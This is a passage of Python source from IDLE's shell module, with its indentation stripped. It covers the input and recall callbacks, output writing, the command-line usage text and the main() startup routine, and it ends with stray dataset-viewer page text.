def linefeed_callback(self, event):
# Insert a linefeed without entering anything (still autoindented)
if self.reading:
self.text.insert("insert", "\n")
self.text.see("insert")
else:
self.newline_and_indent_event(event)
return "break"
def enter_callback(self, event):
if self.executing and not self.reading:
return # Let the default binding (insert '\n') take over
# If some text is selected, recall the selection
# (but only if this before the I/O mark)
try:
sel = self.text.get("sel.first", "sel.last")
if sel:
if self.text.compare("sel.last", "<=", "iomark"):
self.recall(sel, event)
return "break"
except:
pass
# If we're strictly before the line containing iomark, recall
# the current line, less a leading prompt, less leading or
# trailing whitespace
if self.text.compare("insert", "<", "iomark linestart"):
# Check if there's a relevant stdin range -- if so, use it
prev = self.text.tag_prevrange("stdin", "insert")
if prev and self.text.compare("insert", "<", prev[1]):
self.recall(self.text.get(prev[0], prev[1]), event)
return "break"
next = self.text.tag_nextrange("stdin", "insert")
if next and self.text.compare("insert lineend", ">=", next[0]):
self.recall(self.text.get(next[0], next[1]), event)
return "break"
# No stdin mark -- just get the current line, less any prompt
indices = self.text.tag_nextrange("console", "insert linestart")
if indices and \
self.text.compare(indices[0], "<=", "insert linestart"):
self.recall(self.text.get(indices[1], "insert lineend"), event)
else:
self.recall(self.text.get("insert linestart", "insert lineend"), event)
return "break"
# If we're between the beginning of the line and the iomark, i.e.
# in the prompt area, move to the end of the prompt
if self.text.compare("insert", "<", "iomark"):
self.text.mark_set("insert", "iomark")
# If we're in the current input and there's only whitespace
# beyond the cursor, erase that whitespace first
s = self.text.get("insert", "end-1c")
if s and not s.strip():
self.text.delete("insert", "end-1c")
# If we're in the current input before its last line,
# insert a newline right at the insert point
if self.text.compare("insert", "<", "end-1c linestart"):
self.newline_and_indent_event(event)
return "break"
# We're in the last line; append a newline and submit it
self.text.mark_set("insert", "end-1c")
if self.reading:
self.text.insert("insert", "\n")
self.text.see("insert")
else:
self.newline_and_indent_event(event)
self.text.tag_add("stdin", "iomark", "end-1c")
self.text.update_idletasks()
if self.reading:
self.top.quit() # Break out of recursive mainloop()
else:
self.runit()
return "break"
def recall(self, s, event):
# remove leading and trailing empty or whitespace lines
s = re.sub(r'^\s*\n', '' , s)
s = re.sub(r'\n\s*$', '', s)
lines = s.split('\n')
self.text.undo_block_start()
try:
self.text.tag_remove("sel", "1.0", "end")
self.text.mark_set("insert", "end-1c")
prefix = self.text.get("insert linestart", "insert")
if prefix.rstrip().endswith(':'):
self.newline_and_indent_event(event)
prefix = self.text.get("insert linestart", "insert")
self.text.insert("insert", lines[0].strip())
if len(lines) > 1:
orig_base_indent = re.search(r'^([ \t]*)', lines[0]).group(0)
new_base_indent = re.search(r'^([ \t]*)', prefix).group(0)
for line in lines[1:]:
if line.startswith(orig_base_indent):
# replace orig base indentation with new indentation
line = new_base_indent + line[len(orig_base_indent):]
self.text.insert('insert', '\n'+line.rstrip())
finally:
self.text.see("insert")
self.text.undo_block_stop()
def runit(self):
line = self.text.get("iomark", "end-1c")
# Strip off last newline and surrounding whitespace.
# (To allow you to hit return twice to end a statement.)
i = len(line)
while i > 0 and line[i-1] in " \t":
i = i-1
if i > 0 and line[i-1] == "\n":
i = i-1
while i > 0 and line[i-1] in " \t":
i = i-1
line = line[:i]
self.interp.runsource(line)
def open_stack_viewer(self, event=None):
if self.interp.rpcclt:
return self.interp.remote_stack_viewer()
try:
sys.last_traceback
except:
tkMessageBox.showerror("No stack trace",
"There is no stack trace yet.\n"
"(sys.last_traceback is not defined)",
parent=self.text)
return
from idlelib.stackviewer import StackBrowser
StackBrowser(self.root, self.flist)
def view_restart_mark(self, event=None):
self.text.see("iomark")
self.text.see("restart")
def restart_shell(self, event=None):
"Callback for Run/Restart Shell Cntl-F6"
self.interp.restart_subprocess(with_cwd=True)
def showprompt(self):
self.resetoutput()
self.console.write(self.prompt)
self.text.mark_set("insert", "end-1c")
self.set_line_and_column()
self.io.reset_undo()
def show_warning(self, msg):
width = self.interp.tkconsole.width
wrapper = TextWrapper(width=width, tabsize=8, expand_tabs=True)
wrapped_msg = '\n'.join(wrapper.wrap(msg))
if not wrapped_msg.endswith('\n'):
wrapped_msg += '\n'
self.per.bottom.insert("iomark linestart", wrapped_msg, "stderr")
def resetoutput(self):
source = self.text.get("iomark", "end-1c")
if self.history:
self.history.store(source)
if self.text.get("end-2c") != "\n":
self.text.insert("end-1c", "\n")
self.text.mark_set("iomark", "end-1c")
self.set_line_and_column()
def write(self, s, tags=()):
if isinstance(s, str) and len(s) and max(s) > '\uffff':
# Tk doesn't support outputting non-BMP characters
# Let's assume what printed string is not very long,
# find first non-BMP character and construct informative
# UnicodeEncodeError exception.
for start, char in enumerate(s):
if char > '\uffff':
break
raise UnicodeEncodeError("UCS-2", char, start, start+1,
'Non-BMP character not supported in Tk')
try:
self.text.mark_gravity("iomark", "right")
count = OutputWindow.write(self, s, tags, "iomark")
self.text.mark_gravity("iomark", "left")
except:
raise ###pass # ### 11Aug07 KBK if we are expecting exceptions
# let's find out what they are and be specific.
if self.canceled:
self.canceled = 0
if not use_subprocess:
raise KeyboardInterrupt
return count
def rmenu_check_cut(self):
try:
if self.text.compare('sel.first', '<', 'iomark'):
return 'disabled'
except TclError: # no selection, so the index 'sel.first' doesn't exist
return 'disabled'
return super().rmenu_check_cut()
def rmenu_check_paste(self):
if self.text.compare('insert','<','iomark'):
return 'disabled'
return super().rmenu_check_paste()
def fix_x11_paste(root):
"Make paste replace selection on x11. See issue #5124."
if root._windowingsystem == 'x11':
for cls in 'Text', 'Entry', 'Spinbox':
root.bind_class(
cls,
'<<Paste>>',
'catch {%W delete sel.first sel.last}\n' +
root.bind_class(cls, '<<Paste>>'))
usage_msg = """\
USAGE: idle [-deins] [-t title] [file]*
idle [-dns] [-t title] (-c cmd | -r file) [arg]*
idle [-dns] [-t title] - [arg]*
-h print this help message and exit
-n run IDLE without a subprocess (DEPRECATED,
see Help/IDLE Help for details)
The following options will override the IDLE 'settings' configuration:
-e open an edit window
-i open a shell window
The following options imply -i and will open a shell:
-c cmd run the command in a shell, or
-r file run script from file
-d enable the debugger
-s run $IDLESTARTUP or $PYTHONSTARTUP before anything else
-t title set title of shell window
A default edit window will be bypassed when -c, -r, or - are used.
[arg]* are passed to the command (-c) or script (-r) in sys.argv[1:].
Examples:
idle
Open an edit window or shell depending on IDLE's configuration.
idle foo.py foobar.py
Edit the files, also open a shell if configured to start with shell.
idle -est "Baz" foo.py
Run $IDLESTARTUP or $PYTHONSTARTUP, edit foo.py, and open a shell
window with the title "Baz".
idle -c "import sys; print(sys.argv)" "foo"
Open a shell window and run the command, passing "-c" in sys.argv[0]
and "foo" in sys.argv[1].
idle -d -s -r foo.py "Hello World"
Open a shell window, run a startup script, enable the debugger, and
run foo.py, passing "foo.py" in sys.argv[0] and "Hello World" in
sys.argv[1].
echo "import sys; print(sys.argv)" | idle - "foobar"
Open a shell window, run the script piped in, passing '' in sys.argv[0]
and "foobar" in sys.argv[1].
"""
def main():
import getopt
from platform import system
from idlelib import testing # bool value
from idlelib import macosx
global flist, root, use_subprocess
capture_warnings(True)
use_subprocess = True
enable_shell = False
enable_edit = False
debug = False
cmd = None
script = None
startup = False
try:
opts, args = getopt.getopt(sys.argv[1:], "c:deihnr:st:")
except getopt.error as msg:
print("Error: %s\n%s" % (msg, usage_msg), file=sys.stderr)
sys.exit(2)
for o, a in opts:
if o == '-c':
cmd = a
enable_shell = True
if o == '-d':
debug = True
enable_shell = True
if o == '-e':
enable_edit = True
if o == '-h':
sys.stdout.write(usage_msg)
sys.exit()
if o == '-i':
enable_shell = True
if o == '-n':
print(" Warning: running IDLE without a subprocess is deprecated.",
file=sys.stderr)
use_subprocess = False
if o == '-r':
script = a
if os.path.isfile(script):
pass
else:
print("No script file: ", script)
sys.exit()
enable_shell = True
if o == '-s':
startup = True
enable_shell = True
if o == '-t':
PyShell.shell_title = a
enable_shell = True
if args and args[0] == '-':
cmd = sys.stdin.read()
enable_shell = True
# process sys.argv and sys.path:
for i in range(len(sys.path)):
sys.path[i] = os.path.abspath(sys.path[i])
if args and args[0] == '-':
sys.argv = [''] + args[1:]
elif cmd:
sys.argv = ['-c'] + args
elif script:
sys.argv = [script] + args
elif args:
enable_edit = True
pathx = []
for filename in args:
pathx.append(os.path.dirname(filename))
for dir in pathx:
dir = os.path.abspath(dir)
if not dir in sys.path:
sys.path.insert(0, dir)
else:
dir = os.getcwd()
if dir not in sys.path:
sys.path.insert(0, dir)
# check the IDLE settings configuration (but command line overrides)
edit_start = idleConf.GetOption('main', 'General',
'editor-on-startup', type='bool')
enable_edit = enable_edit or edit_start
enable_shell = enable_shell or not enable_edit
# Setup root. Don't break user code run in IDLE process.
# Don't change environment when testing.
if use_subprocess and not testing:
NoDefaultRoot()
root = Tk(className="Idle")
root.withdraw()
from idlelib.run import fix_scaling
fix_scaling(root)
# set application icon
icondir = os.path.join(os.path.dirname(__file__), 'Icons')
if system() == 'Windows':
iconfile = os.path.join(icondir, 'idle.ico')
root.wm_iconbitmap(default=iconfile)
elif not macosx.isAquaTk():
ext = '.png' if TkVersion >= 8.6 else '.gif'
iconfiles = [os.path.join(icondir, 'idle_%d%s' % (size, ext))
for size in (16, 32, 48)]
icons = [PhotoImage(master=root, file=iconfile)
for iconfile in iconfiles]
root.wm_iconphoto(True, *icons)
# start editor and/or shell windows:
fixwordbreaks(root)
fix_x11_paste(root)
flist = PyShellFileList(root)
macosx.setupApp(root, flist)
if enable_edit:
if not (cmd or script):
for filename in args[:]:
if flist.open(filename) is None:
# filename is a directory actually, disconsider it
args.remove(filename)
if not args:
flist.new()
if enable_shell:
shell = flist.open_shell()
if not shell:
return # couldn't open shell
if macosx.isAquaTk() and flist.dict:
# On OSX: when the user has double-clicked on a file that causes
# IDLE to be launched the shell window will open just in front of
# the file she wants to see. Lower the interpreter window when
# there are open files.
shell.top.lower()
else:
shell = flist.pyshell
# Handle remaining options. If any of these are set, enable_shell
# was set also, so shell must be true to reach here.
if debug:
shell.open_debugger()
if startup:
filename = os.environ.get("IDLESTARTUP") or \
os.environ.get("PYTHONSTARTUP")
if filename and os.path.isfile(filename):
shell.interp.execfile(filename)
if cmd or script:
shell.interp.runcommand("""if 1:
import sys as _sys
_sys.argv = %r
del _sys
\n""" % (sys.argv,))
if cmd:
shell.interp.execsource(cmd)
elif script:
shell.interp.prepend_syspath(script)
shell.interp.execfile(script)
elif shell:
# If there is a shell window and no cmd or script in progress,
# check for problematic issues and print warning message(s) in
# the IDLE shell window; this is less intrusive than always
# opening a separate window.
# Warn if using a problematic OS X Tk version.
tkversionwarning = macosx.tkVersionWarning(root)
if tkversionwarning:
shell.show_warning(tkversionwarning)
# Warn if the "Prefer tabs when opening documents" system
# preference is set to "Always".
prefer_tabs_preference_warning = macosx.preferTabsPreferenceWarning()
if prefer_tabs_preference_warning:
shell.show_warning(prefer_tabs_preference_warning)
while flist.inversedict: # keep IDLE running while files are open.
root.mainloop()
root.destroy()
capture_warnings(False)
if __name__ == "__main__":
main()
capture_warnings(False) # Make sure turned off; see issue 18081
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.